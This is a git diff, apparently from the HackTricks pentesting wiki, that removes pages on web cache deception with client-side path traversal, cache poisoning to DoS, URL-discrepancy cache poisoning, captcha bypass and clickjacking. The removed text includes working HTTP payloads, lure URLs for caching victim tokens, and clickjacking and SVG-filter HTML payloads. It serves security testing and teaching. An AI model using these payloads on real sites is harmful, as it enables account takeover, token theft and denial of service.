-This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.
-
-High level idea:
-
-- A sensitive API endpoint requires a custom auth header and is correctly marked as non-cacheable by origin.
-- Appending a static-looking suffix (for example, .css) makes the CDN treat the path as a static asset and cache the response, often without varying on sensitive headers.
-- The SPA contains CSPT: it concatenates a user-controlled path segment into the API URL while attaching the victim’s auth header (for example, X-Auth-Token). By injecting ../.. traversal, the authenticated fetch is redirected to the cacheable path variant (…/v1/token.css), causing the CDN to cache the victim’s token JSON under a public key.
-- Anyone can then GET that same cache key without authentication and retrieve the victim’s token.
-
-Example
-
-- Sensitive endpoint (non-cacheable at origin):
-
-```
-GET /v1/token HTTP/1.1
-Host: api.example.com
-X-Auth-Token: <REDACTED>
-Accept: application/json
-
-HTTP/1.1 200 OK
-Content-Type: application/json
-Cache-Control: no-cache, no-store, must-revalidate
-X-Cache: Miss from cdn
-
-{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
-```
-
-- Static-looking suffix flips CDN to cacheable:
-
-```
-GET /v1/token.css HTTP/1.1
-Host: api.example.com
-X-Auth-Token: <REDACTED>
-Accept: application/json
-
-HTTP/1.1 200 OK
-Content-Type: application/json
-Cache-Control: max-age=86400, public
-X-Cache: Hit from cdn
-
-{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
-```
-
-- CSPT in SPA attaches auth header and allows traversal:
-
-```js
-const urlParams = new URLSearchParams(window.location.search);
-const userId = urlParams.get('userId');
-
-const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
-
-fetch(apiUrl, {
-  method: 'GET',
-  headers: { 'X-Auth-Token': authToken }
-});
-```
-
-- Exploit chain:
-  1. Lure victim to a URL that injects dot-segments into the SPA path parameter, e.g.:
-     - [https://example.com/user?userId=../../../v1/token.css](https://example.com/user?userId=../../../v1/token.css)
-  2. The SPA issues an authenticated fetch to:
-     - [https://api.example.com/v1/users/info/../../../v1/token.css](https://api.example.com/v1/users/info/../../../v1/token.css)
-  3. Browser normalization resolves it to:
-     - [https://api.example.com/v1/token.css](https://api.example.com/v1/token.css)
-  4. The CDN treats .css as a static asset and caches the JSON with Cache-Control: public, max-age=...
-  5. Public retrieval: anyone can then GET https://api.example.com/v1/token.css and obtain the cached token JSON.
-
-Preconditions
-
-- SPA performs authenticated fetch/XHR to the same API origin (or cross-origin with working CORS) and attaches sensitive headers or bearer tokens.
-- Edge/CDN applies extension-based caching for static-looking paths (e.g., *.css, *.js, images) and does not vary the cache key on the sensitive header.
-- Origin for the base endpoint is non-cacheable (correct), but the extension-suffixed variant is allowed or not blocked by edge rules.
-
-Validation checklist
-
-- Identify sensitive dynamic endpoints and try suffixes like .css, .js, .jpg, .json. Look for Cache-Control: public/max-age and X-Cache: Hit (or equivalent, e.g., CF-Cache-Status) while content remains JSON.
-- Locate client code that concatenates user-controlled input into API paths while attaching auth headers. Inject ../ sequences to redirect the authenticated request to your target endpoint.
-- Confirm the authenticated header is present on the retargeted request (e.g., in a proxy or via server-side logs) and that the CDN caches the response under the traversed path.
-- From a fresh context (no auth), request the same path and confirm the secret JSON is served from cache.
-
-
-### Authenticated HTML cache entries targeted with query cache busters
-
-Not every WCD requires path confusion or static extensions. A very common variant is: **authenticated HTML response + shared cacheability + attacker-controlled cache key + user-specific secret in the body**.
-
-Typical indicators:
-
-- The authenticated page returns **`X-Cache: MISS`** on first load and **`X-Cache: HIT`** when replayed.
-- **`Cache-Control`** allows shared caching (for example, it lacks **`private`** / **`no-store`**).
-- The HTML source contains **victim-specific data** such as JWTs, CSRF tokens, email addresses, account settings, or bootstrapped session objects inside inline JavaScript.
-
-Minimal validation flow:
-
-1. Authenticate and request a page that should be user-specific (homepages are still interesting if they bootstrap session state).
-2. Replay the exact request in Burp Repeater.
-3. Compare **`X-Cache`**, **`Age`**, and **`Cache-Control`**.
-4. Inspect the cached body, not just the headers: if secrets are embedded in the HTML/JS, another user hitting the same cache key may receive them.
-
-If many users constantly overwrite the shared entry, add an **attacker-chosen query parameter** to isolate the cache key:
-
-```http
-GET /?cacheBuster=1 HTTP/1.1
-Host: target.com
-Cookie: session=<victim-session>
-```
-
-If the cache keys on the full URL, forcing the victim to visit that exact URL stores their authenticated response under a predictable entry that the attacker can later request anonymously. This is especially useful on homepages that are globally cacheable but still inject per-user state into the DOM.
-
-### SameSite=Lax delivery constraints in WCD campaigns
-
-When the victim must seed the cache from an attacker-controlled site, remember that **default `SameSite=Lax` cookies are usually not sent on cross-site subresource requests** such as **`<img>`**, **`<script>`**, or XHR/fetch. Therefore, a payload like the following often primes the cache with an **unauthenticated** response only:
-
-```html
-<img src="https://target.com/?cacheBuster=1">
-```
-
-To seed the cache with the victim's authenticated HTML, use a **top-level navigation** primitive instead, because `SameSite=Lax` still allows cookies on cross-site navigations such as links and many GET redirects:
-
-```html
-<meta http-equiv="refresh" content="0; url=https://target.com/?cacheBuster=1">
-<p>If not redirected, <a href="https://target.com/?cacheBuster=1">open target</a>.</p>
-```
-
-Practical checklist:
-
-- First confirm that the **subresource** version does **not** include cookies.
-- Then switch to a **top-level navigation** and verify that the cacheable response now contains victim-only data.
-- Re-request the exact cache-buster URL from a clean context and confirm the secret is returned from cache.
-
-This turns a noisy, random WCD into a **targeted account-takeover primitive** whenever the cached HTML exposes reusable session material.
-
-## Automatic Tools
-
-- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
-- [**CacheDecepHound**](https://github.com/g4nkd/CacheDecepHound): Python scanner designed to detect Cache Deception vulnerabilities in web servers.
-
-## References
-
-- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
-- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
-- [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
-- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
-- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
-- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
-- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
-- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
-- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
-- [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/)
-- [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/)
-- [CSPT presentation by Maxence Schmitt](https://www.youtube.com/watch?v=O1ZN_OCfNzg)
-- [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception)
-- [Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class](https://herish.me/blog/cache-poisoning-case-studies-part-1-foundational-attacks/)
-- [Cracking SameSite for a $2,000 Web Cache Deception](https://medium.com/@tinopreter/cracking-samesite-for-a-2-000-web-cache-deception-746972278412)
-
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
deleted file mode 100644
index 610141b47b8..00000000000
--- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md
+++ /dev/null
@@ -1,180 +0,0 @@
-# Cache Poisoning to DoS
-
-{{#include ../../banners/hacktricks-training.md}}
-
-> [!CAUTION]
-> These techniques try to make the **origin return an error, a blank body, or a broken redirect** for a request that the **cache still considers valid/cacheable**. Once stored, the poisoned object can deny access to every user hitting the same cache key.
-
-> [!TIP]
-> Confirm CPDoS with the **lowest blast radius possible**: send a **baseline** request, then the **poisoning** request, and finally a **validation** request without the malicious input. Compare **status**, **body length**, and cache headers such as **`X-Cache`**, **`CF-Cache-Status`**, **`Cache-Status`**, or **`Age`**. If possible, use a sacrificial endpoint or an unkeyed cache buster first.
-
-If the issue depends on **path confusion**, **static extensions/directories**, or other URL parser discrepancies, first check [Cache Poisoning via URL discrepancies](cache-poisoning-via-url-discrepancies.md).
-
-## Quick verification flow
-
-```bash
-url='https://target.tld/app.js'
-
-# 1) Baseline
-curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'
-
-# 2) Poison attempt
-curl -isk -H 'X-HTTP-Method-Override: HEAD' "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'
-
-# 3) Validation
-curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)'
-```
-
-## Common cache poisoning-to-DoS primitives
-
-### HTTP Header Oversize (HHO)
-
-Send a request with a header block that is **accepted by the cache** but **rejected by the origin**. If the resulting 4xx page is cached, later normal requests will get the cached error.
-
-```http
-GET / HTTP/1.1
-Host: redacted.com
-X-Oversized-Header: Big-Value-00000000000000000000000000000000000000000000000000
-```
-
-This is especially interesting when the **CDN/header limit is larger than the origin/framework limit**.
-
-### HTTP Meta Character (HMC) & unexpected values
-
-Send **control/meta characters** such as **`\0`**, **`\b`**, **`\r`**, or **`\n`**, or malformed values that the cache forwards but the origin refuses. Some origins also error on syntactically valid-but-unexpected values such as a bogus `Content-Type`.
-
-```http
-GET / HTTP/1.1
-Host: redacted.com
-X-Metachar-Header: \0
-```
-
-```http
-GET /anas/repos HTTP/2
-Host: redacted.com
-Content-Type: HelloWorld
-```
-
-A badly configured parser may also fail on values such as `\:`.
-
-### Unkeyed header that triggers an error
-
-Some backends return an error or denial page when they see specific headers, but the cache key doesn't vary on that header.
-
-```http
-GET /app.js HTTP/2
-Host: redacted.com
-X-Amz-Website-Location-Redirect: someThing
-
-HTTP/2 403 Forbidden
-X-Cache: hit
-
-Invalid Header
-```
-
-Also test `Forwarded`, `X-Forwarded-Host`, `X-Forwarded-Port`, and application-specific routing headers when they influence redirects or origin routing.
-
-### HTTP Method Override Attack (HMO)
-
-If the application or middleware supports method override headers such as `X-HTTP-Method-Override`, `X-HTTP-Method`, or `X-Method-Override`, you may be able to transform a normal `GET` into an unsupported or body-less method at the origin while the cache still stores the response under the `GET` key.
-
-```http
-GET /app.js HTTP/1.1
-Host: redacted.com
-X-HTTP-Method-Override: HEAD
-```
-
-`HEAD`, `TRACE`, `PUT`, `DELETE`, and `POST` are worth testing. `HEAD` is especially attractive because some stacks reply `200 OK` with `Content-Length: 0`, effectively blanking the asset for everyone.
-
-### Unkeyed Port
-
-If the port in the `Host` header is reflected in the response but excluded from the cache key, it may be possible to poison a redirect to an unused port:
-
-```http
-GET /index.html HTTP/1.1
-Host: redacted.com:1
-
-HTTP/1.1 301 Moved Permanently
-Location: https://redacted.com:1/en/index.html
-X-Cache: miss
-```
-
-### Long Redirect DoS
-
-If an unkeyed parameter is copied into a redirect target, you may be able to make the cache store a redirect that later resolves into `414 URI Too Large`, `431 Request Header Fields Too Large`, or another error on the follow-up request.
-
-```http
-GET /login?x=veryLongUrl HTTP/1.1
-Host: www.cloudflare.com
-
-HTTP/1.1 301 Moved Permanently
-Location: /login/?x=veryLongUrl
-CF-Cache-Status: HIT
-
-GET /login/?x=veryLongUrl HTTP/1.1
-Host: www.cloudflare.com
-
-HTTP/1.1 414 Request-URI Too Large
-CF-Cache-Status: MISS
-```
-
-### Host header case normalization
-
-The `Host` header is case-insensitive, but some origins or routing layers still behave differently depending on casing. If the cache normalizes the host for the key while the origin uses the raw value, a mixed-case `Host` can poison the canonical cache bucket:
-
-```http
-GET /img.png HTTP/1.1
-Host: Cdn.redacted.com
-
-HTTP/1.1 404 Not Found
-X-Cache: miss
-
-Not Found
-```
-
-### Path normalization / static-rule confusion
-
-Some caches normalize or classify the path differently from the origin. A path that looks cacheable to the front-end (`/assets/...`, `.css`, `.js`, dot-segments, encoded dots, delimiters) may map to a dynamic route on the origin that returns an error or blank response. If the static-looking key is cached, the dynamic endpoint becomes unavailable through that cache key.
-
-```http
-GET /api/v1%2e1/user HTTP/1.1
-Host: redacted.com
-
-HTTP/1.1 404 Not Found
-X-Cache: miss
-
-Not Found
-```
-
-For delimiter/static-extension/static-directory tricks, see [Cache Poisoning via URL discrepancies](cache-poisoning-via-url-discrepancies.md).
-
-### Fat GET
-
-Some caches/origins reject **`GET` with a body**, or the origin reads parameters from the body while the cache keys only on the URL. This can poison an error or unexpected response under the clean `GET` cache key.
-
-```http
-GET /index.html HTTP/2
-Host: redacted.com
-Content-Length: 3
-
-xyz
-
-HTTP/2 403 Forbidden
-X-Cache: hit
-```
-
-### Framework / internal cache poisoning
-
-Recent framework bugs showed that **CPDoS is not limited to classic 4xx/5xx cache poisoning at the CDN layer**. Internal framework caches or upstream CDNs may also store:
-
-- a **`204 No Content`** response for a normally populated static/ISR page
-- a **`200 OK`** response with **`Content-Length: 0`**
-- a response that was supposed to stay **`private, no-store`** but is coerced into **`s-maxage`** / **`stale-while-revalidate`**
-
-In practice, this means a single crafted request can blank an HTML page or JS asset without needing a traditional error page. When testing modern frameworks, compare the same endpoint with and without framework-specific cache/data headers and watch for changes in **`Cache-Control`**, **body length**, and shared-cache headers. If you are assessing a Next.js target, also check [the Next.js page](../../network-services-pentesting/pentesting-web/nextjs.md) for framework-specific cache poisoning bugs.
-
-## References
-
-- [Responsible denial of service with web cache poisoning](https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning)
-- [Next.JS vulnerability can lead to DoS via cache poisoning](https://github.com/advisories/GHSA-67rr-84xm-4c7r)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
deleted file mode 100644
index 78d1d8d7203..00000000000
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ /dev/null
@@ -1,55 +0,0 @@
-# Cache Poisoning via URL discrepancies
-
-{{#include ../../banners/hacktricks-training.md}}
-
-This is a summary of the techniques proposed in the post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) in order to perform cache poisoning attacks **abusing discrepancies between cache proxies and web servers.**
-
-> [!TIP]
-> The goal of this attack is to **make the cache server think that a static resource is being loaded** so it caches it while the cache server stores as cache key part of the path but the web server responds resolving another path. The web server will resolve the real path which will be loading a dynamic page (which might store sensitive information about the user, a malicious payload like XSS or redirecting to lo load a JS file from the attackers website for example).
-
-## Delimiters
-
-**URL delimiters** vary by framework and server, impacting how requests are routed and responses are handled. Some common origin delimiters are:
-
-- **Semicolon**: Used in Spring for matrix variables (e.g. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
-- **Dot**: Specifies response format in Ruby on Rails (e.g. `/MyAccount.css` → `/MyAccount`)
-- **Null Byte**: Truncates paths in OpenLiteSpeed (e.g. `/MyAccount%00aaa` → `/MyAccount`).
-- **Newline Byte**: Separates URL components in Nginx (e.g. `/users/MyAccount%0aaaa` → `/account/MyAccount`).
-
-Other specific delimiters might be found following this process:
-
-- **Step 1**: Identify non-cacheable requests and use them to monitor how URLs with potential delimiters are handled.
-- **Step 2**: Append random suffixes to paths and compare the server's response to determine if a character functions as a delimiter.
-- **Step 3**: Introduce potential delimiters before the random suffix to see if the response changes, indicating delimiter usage.
-
-## Normalization & Encodings
-
-- **Purpose**: URL parsers in both cache and origin servers normalize URLs to extract paths for endpoint mapping and cache keys.
-- **Process**: Identifies path delimiters, extracts and normalizes the path by decoding characters and removing dot-segments.
-
-### **Encodings**
-
-Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam` → `/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency.
-
-A way to check for these inconsistencies is to send requests URL encoding different chars after loading the path without any encoding and check if the encoded path response came from the cached response.
-
-### Dot segment
-
-The path normalization where dots are involved is also very interesting for cache poisoning attacks. For example, `/static/../home/index` or `/aaa..\home/index`, some cache servers will cache these paths with themselves ad the keys while other might resolve the path and use `/home/index` as the cache key.\
-Just like before, sending these kind of requests and checking if the response was gathered from the cache helps to identify if the response to `/home/index` is the response sent when those paths are requested.
-
-## Static Resources
-
-Several cache servers will always cache a response if it's identified as static. This might be because:
-
-- **The extension**: Cloudflare will always cache files with the following extensions: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
-  - It's possible to force a cache storing a dynamic response by using a delimiter and a static extension like a request to `/home$image.png` will cache `/home$image.png` and the origin server will respond with `/home`
-- **Well-known static directories**: The following directories contains static files and therefore their response should be cached: /static, /assets, /wp-content, /media, /templates, /public, /shared
-  - It's possible to force a cache storing a dynamic response by using a delimiter, a static directory and dots like: `/home/..%2fstatic/something` will cache `/static/something` and the response will be`/home`
-  - **Static dirs + dots**: A request to `/static/..%2Fhome` or to `/static/..%5Chome` might be cached as is but the response might be `/home`
-- **Static files:** Some specific files are always cached like `/robots.txt`, `/favicon.ico`, and `/index.html`. Which can be abused like `/home/..%2Frobots.txt` where the cace might store `/robots.txt` and the origin server respond to `/home`.
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md
deleted file mode 100644
index 4c70d6064cc..00000000000
--- a/src/pentesting-web/captcha-bypass.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# Captcha Bypass
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Captcha Bypass
-
-To **bypass** the captcha during **server testing** and automate user input functions, various techniques can be employed. The objective is not to undermine security but to streamline the testing process. Here's a comprehensive list of strategies:
-
-1. **Parameter Manipulation**:
-   - **Omit the Captcha Parameter**: Avoid sending the captcha parameter. Experiment with changing the HTTP method from POST to GET or other verbs, and altering the data format, such as switching between form data and JSON.
-   - **Send Empty Captcha**: Submit the request with the captcha parameter present but left empty.
-2. **Value Extraction and Reuse**:
-   - **Source Code Inspection**: Search for the captcha value within the page's source code.
-   - **Cookie Analysis**: Examine the cookies to find if the captcha value is stored and reused.
-   - **Reuse Old Captcha Values**: Attempt to use previously successful captcha values again. Keep in mind that they might expire at any time.
-   - **Session Manipulation**: Try using the same captcha value across different sessions or the same session ID.
-3. **Automation and Recognition**:
-   - **Mathematical Captchas**: If the captcha involves math operations, automate the calculation process.
-   - **Image Recognition**:
-     - For captchas that require reading characters from an image, manually or programmatically determine the total number of unique images. If the set is limited, you might identify each image by its MD5 hash.
-     - Utilize Optical Character Recognition (OCR) tools like [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) to automate character reading from images.
-4. **Additional Techniques**:
-   - **Rate Limit Testing**: Check if the application limits the number of attempts or submissions in a given timeframe and whether this limit can be bypassed or reset.
-   - **Third-party Services**: Employ captcha-solving services or APIs that offer automated captcha recognition and solving.
-   - **Session and IP Rotation**: Frequently change session IDs and IP addresses to avoid detection and blocking by the server.
-   - **User-Agent and Header Manipulation**: Alter the User-Agent and other request headers to mimic different browsers or devices.
-   - **Audio Captcha Analysis**: If an audio captcha option is available, use speech-to-text services to interpret and solve the captcha.
-
-## Online Services to solve captchas
-
-### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)
-
-[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) is an AI-powered service that specializes in solving various types of captchas automatically, empowers data collection by helping developers easily overcome the captcha challenges encountered during Web Scraping. It supports captchas such as **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, and Cloudflare turnstile among others**. For developers, Capsolver offers API integration options detailed in [**documentation**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** facilitating the integration of captcha solving into applications. They also provide browser extensions for [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) and [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), making it easy to use their service directly within a browser. Different pricing packages are available to accommodate varying needs, ensuring flexibility for users.
-
-
-{{#ref}}
-https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
-{{#endref}}
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md
deleted file mode 100644
index 0918d052b9e..00000000000
--- a/src/pentesting-web/clickjacking.md
+++ /dev/null
@@ -1,332 +0,0 @@
-# Clickjacking
-
-{{#include ../banners/hacktricks-training.md}}
-
-## What is Clickjacking
-
-In a clickjacking attack, a **user** is **tricked** into **clicking** an **element** on a webpage that is either **invisible** or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.
-
-### Prepopulate forms trick
-
-Sometimes is possible to **fill the value of fields of a form using GET parameters when loading a page**. An attacker may abuse this behaviour to fill a form with arbitrary data and send the clickjacking payload so the user press the button Submit.
-
-### Populate form with Drag\&Drop
-
-If you need the user to **fill a form** but you don't want to directly ask him to write some specific information (like the email and or specific password that you know), you can just ask him to **Drag\&Drop** something that will write your controlled data like in [**this example**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
-
-### Basic Payload
-
-```css
-<style>
-   iframe {
-       position:relative;
-       width: 500px;
-       height: 700px;
-       opacity: 0.1;
-       z-index: 2;
-   }
-   div {
-       position:absolute;
-       top:470px;
-       left:60px;
-       z-index: 1;
-   }
-</style>
-<div>Click me</div>
-<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
-```
-
-### Multistep Payload
-
-```css
-<style>
-   iframe {
-       position:relative;
-       width: 500px;
-       height: 500px;
-       opacity: 0.1;
-       z-index: 2;
-   }
-   .firstClick, .secondClick {
-       position:absolute;
-       top:330px;
-       left:60px;
-       z-index: 1;
-   }
-   .secondClick {
-       left:210px;
-   }
-</style>
-<div class="firstClick">Click me first</div>
-<div class="secondClick">Click me next</div>
-<iframe src="https://vulnerable.net/account"></iframe>
-```
-
-### Drag\&Drop + Click payload
-
-```css
-<html>
-<head>
-<style>
-#payload{
-position: absolute;
-top: 20px;
-}
-iframe{
-width: 1000px;
-height: 675px;
-border: none;
-}
-.xss{
-position: fixed;
-background: #F00;
-}
-</style>
-</head>
-<body>
-<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
-<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
-<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
-<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
-<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
-</body>
-</html>
-```
-
-### XSS + Clickjacking
-
-If you have identified an **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\
-Example:\
-You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters.\
-An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.
-
-
-### DoubleClickjacking
-
-Firstly [explained in this post](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the **victim actually clicks a legit button in the victim page**.
-
-An example could be seen in this video: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
-
-A code example can be found in [this page](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
-
-> [!WARNING]
-> This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find **sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions**.
-
-
-#### Popup-based DoubleClickjacking (no iframes)
-
-Some PoCs abandon iframes entirely and keep a **background popup** aligned under the cursor. The attacker page tracks `mousemove` and uses a small popup (`window.open`) that is moved with `moveTo()` while it is **same-origin**; once aligned, it is redirected back to the **target origin** so the next click lands on the real button. Because cross‑origin `moveTo()` is blocked, the popup is briefly navigated to an attacker origin for repositioning, then `location`/`history.back()` returns to the target. To surface the target at click time, the attacker can re‑open the popup **with the same window name** to bring it to the foreground without changing the URL.
-
-```html
-<script>
-let w;
-onclick = () => {
-  if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
-  onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
-  // When ready, refocus the already-loaded popup
-  window.open('', 'pj');
-};
-</script>
-```
-
-### SVG Filters / Cross-Origin Iframe UI Redressing
-
-Modern Chromium/WebKit/Gecko builds let CSS `filter:url(#id)` be applied to cross-origin iframes. The iframe’s rasterized pixels are exposed to the SVG filter graph as `SourceGraphic`, so primitives such as `feDisplacementMap`, `feBlend`, `feComposite`, `feColorMatrix`, `feTile`, `feMorphology`, etc. can arbitrarily warp the victim UI before the user sees it, even though the attacker never touches the DOM. A simple Liquid-Glass style filter looks like:
-
-```html
-<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
-```
-
-* Useful primitives: `feImage` loads attacker bitmaps (e.g., overlays, displacement maps); `feFlood` builds constant-color mattes; `feOffset/feGaussianBlur` refine highlights; `feDisplacementMap` refracts/warps text; `feComposite operator="arithmetic"` implements arbitrary per-channel math (`r = k1*i1*i2 + k2*i1 + k3*i2 + k4`), which is enough for contrast boosting, masking, and AND/OR operations; `feTile` crops and replicates pixel probes; `feMorphology` grows/shrinks strokes; `feColorMatrix` moves luma into alpha to build precise masks.
-
-#### Distorting secrets into CAPTCHA-style prompts
-
-If a framable endpoint renders secrets (tokens, reset codes, API keys), the attacker can distort them so they resemble a CAPTCHA and coerce manual transcription:
-
-```html
-<svg width="0" height="0">
-  <filter id="captchaFilter">
-    <feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
-    <feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
-  </filter>
-</svg>
-<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
-<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
-```
-
-The distorted pixels fool the user into “solving” the captcha inside the attacker-controlled `<input>` whose `pattern` enforces the real victim secret.
-
-#### Recontextualizing victim inputs
-
-Filters can surgically delete placeholder/validation text while keeping user keystrokes. One workflow:
-
-1. `feComposite operator="arithmetic" k2≈4` amplifies brightness so grey helper text saturates to white.
-2. `feTile` limits the working area to the input rectangle.
-3. `feMorphology operator="erode"` thickens the dark glyphs typed by the victim and stores them via `result="thick"`.
-4. `feFlood` creates a white plate, `feBlend mode="difference"` with `thick`, and a second `feComposite k2≈100` turns it into a stark luma matte.
-5. `feColorMatrix` moves that luma into alpha, and `feComposite in="SourceGraphic" operator="in"` keeps only user-entered glyphs.
-6. Another `feBlend in2="white"` plus a thin crop gives a clean textbox, after which the attacker overlays their own HTML labels (e.g., “Enter your email”) while the hidden iframe still enforces the victim origin’s password policy.
-
-Safari struggles with `feTile`; the same effect can be reproduced with spatial mattes built from `feFlood` + `feColorMatrix` + `feComposite` for WebKit-only payloads.
-
-#### Pixel probes, logic and state machines
-
-By cropping a 2–4 px region with `feTile` and tiling it to `100%` of the viewport, the attacker transforms the sampled color into a full-frame texture that can be thresholded into a boolean mask:
-
-```html
-<filter id="pixelProbe">
-  <feTile x="313" y="141" width="4" height="4" />
-  <feTile x="0" y="0" width="100%" height="100%" result="probe" />
-  <feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
-  <feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
-  <feGaussianBlur in="SourceGraphic" stdDeviation="2" />
-  <feComposite operator="in" in2="mask" />
-  <feBlend in2="SourceGraphic" />
-</filter>
-```
-
